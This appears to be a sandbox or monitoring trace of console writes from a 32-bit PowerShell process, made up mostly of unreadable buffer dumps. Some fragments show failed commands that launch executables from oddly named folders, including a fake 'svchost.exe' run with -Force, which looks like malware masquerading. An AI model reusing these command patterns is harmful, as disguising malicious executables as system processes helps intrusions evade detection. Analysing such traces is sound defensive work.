Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............(.......................................0.......k.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.......h.......2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.............(...............$.......................0.......w.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(...............b.......................0.......................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......X...............................0...............h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............(.......................................0...............h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......................................0...............h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....D...............................................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....D...............................................0.......#.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....D.......................4.......................0......./.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....D.......................O.......................0......./.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....D.......................\|.......................0.......;...............\|.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....D...............................................0.......;.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G.......h.......".......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....D...............................................0.......G.......h...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....D...............................................0.......S.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....D.......................0.......................0.......S.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....D......................._.......................0......._.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....D.......................\|.......................0......._.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....D...............................................0.......k.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....D...............................................0.......k.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.......h.......2.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....D...............................................0.......w.......h...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......................B.......................0.......................l.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......................a.......................0...............h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....D...............................................0...............h...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D...............................................0...............h...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....D.......\.......................................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....D.......\.......................................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....D.......\...............0.......................0......./.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....D.......\...............K.......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....D.......\...............x.......................0.......;...............\|.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....D.......\.......................................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G...............".......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....D.......\.......x...............................0.......G.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....D.......\.......x...............................0.......S.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....D.......\.......x....... .......................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._...............4.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....D.......\.......x.......n.......................0......._.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....D.......\.......x...............................0.......k.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....D.......\.......x...............................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....D.......\.......x...............................0.......w.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......\.......x.......".......................0.......................l.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......\.......x.......=.......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....D.......\.......x.......e.......................0...............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......\.......x...............................0...............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P..... ...............x...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P..... .......................Z.......................0.......#.......8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P..... ...............x...............................0......./.......................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P..... ...............x...............................0......./.......8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P..... ...............x...............................0.......;...............\|.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P..... ...............x...............................0.......;.......8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G.......8.......".......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P..... ...............x.......*.......................0.......G.......8...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P..... ...............x.......R.......................0.......S.......................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P..... ...............x.......n.......................0.......S.......8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P..... ...............................................0......._.......................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P..... ...............................................0......._.......8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P..... ...............................................0.......k.......................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P..... ...............................................0.......k.......8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.......8.......2.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P..... .......................Q.......................0.......w.......8...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..... .......................y.......................0.......................l.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..... ...............................................0...............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..... ...............................................0...............8...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..... ...............................................0...............8...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................P...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................P...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................P...............................0......./.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................p...............................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................p.......C.......................0.......;...............\|.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................p.......a.......................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G...............".......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....................p...............................0.......G.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................p...............................0.......S.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................p...............................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._...............4.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....................p.......*.......................0......._.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................p.......R.......................0.......k.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................p.......r.......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....................P...............................0.......w.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P...............................0.......................l.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P...............................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................P.......!.......................0...............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P.......<.......................0...............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....4...............T.......M.......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....4.......................i.......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....4...............................................0......./.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....4...............................................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....4...............................................0.......;...............\|.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....4...............................................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......%.......................0.......G...............".......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....4.......................C.......................0.......G.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....4.......................k.......................0.......S.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....4...............................................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._...............4.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....4...............@...............................0......._.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....4...............@...............................0.......k.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....4...............@.......".......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....4...............@.......j.......................0.......w.......................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....4...............................................0.......................l.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....4...............................................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....4...............................................0...............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....4...............................................0...............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................(.......*.......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................(.......G.......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................(.......r.......................0......./.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................(...............................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................(...............................0.......;...............\|.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................(...............................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G...............".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....................(...............................0.......G.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................(.......C.......................0.......S.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................(.......b.......................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._...............4.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....................(...............................0......._.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................0...............................0.......k.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................0...............................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....................0.......>.......................0.......w.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................0.......h.......................0.......................l.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................0...............................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................0...............................0...............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................0...............................0...............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............P.......0...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............P.......0...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............P.......0...............................0......./......................... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............P.......0...............................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............P.......0...............................0.......;...............\|......... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............P.......0.......8.......................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......a.......................0.......G..............."......... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.............P....... .......~.......................0.......G......................... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............P.......0...............................0.......S......................... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............P....... ...............................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._...............4......... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.............P.......(.......=.......................0......._......................... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............P.......8.......s.......................0.......k......................... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............P.......8...............................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2......... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.............P.......8.......-.......................0.......w......................... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............P.......8.......W.......................0.......................l......... .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............P.......8.......s.......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............P.......8...............................0................................. .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............P.......8...............................0................................. .............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............x.......8...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............x.......8...............................0.......#.........x.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............x.......8.......:.......................0......./.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............x.......8.......X.......................0......./.........x.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............x.......8...............................0.......;...............\|.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............x.......$...............................0.......;.........x.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G.........x.....".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.............x.......$...............................0.......G.........x.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............x.......$.......".......................0.......S.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............x.......$.......A.......................0.......S.........x.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._.........x.....4.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.............x.......(...............................0......._.........x.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............x.......(...............................0.......k.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............x.......$...............................0.......k.........x.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.........x.....2.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.............x.......$.......1.......................0.......w.........x.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............x.......$.......].......................0.......................l.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............x.......$...............................0.................x.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............x.......$...............................0.................x.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............x.......$...............................0.................x.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............\|................#......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............\|...............Y$......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............\|................$......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............\|................%......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............\|................%......................0.......;...............\|.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............\|...............n%......................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7........%......................0.......G...............".......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.............\|..............."&......................0.......G.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............\|...............X&......................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............\|................&......................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......i.u.y.t.\.q.w.e.r.u.i.u.y.t...e.x.e. .-.F.o.r.c.e...............0......._...............2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.............\|................&......................0......._.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............\|...............C'......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............\|................'......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.............\|...............m(......................0.......w.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............\|................(......................0.......................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............\|.......$........)......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............\|.......$........)......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............\|.......$........*......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P..............................'......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............................c'......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P..............................'......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P..............................'......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P..............................'......................0.......;...............\|.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............................!(......................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......k(......................0.......G...............".......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P..............................(......................0.......G.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................$........(......................0.......S.......................................
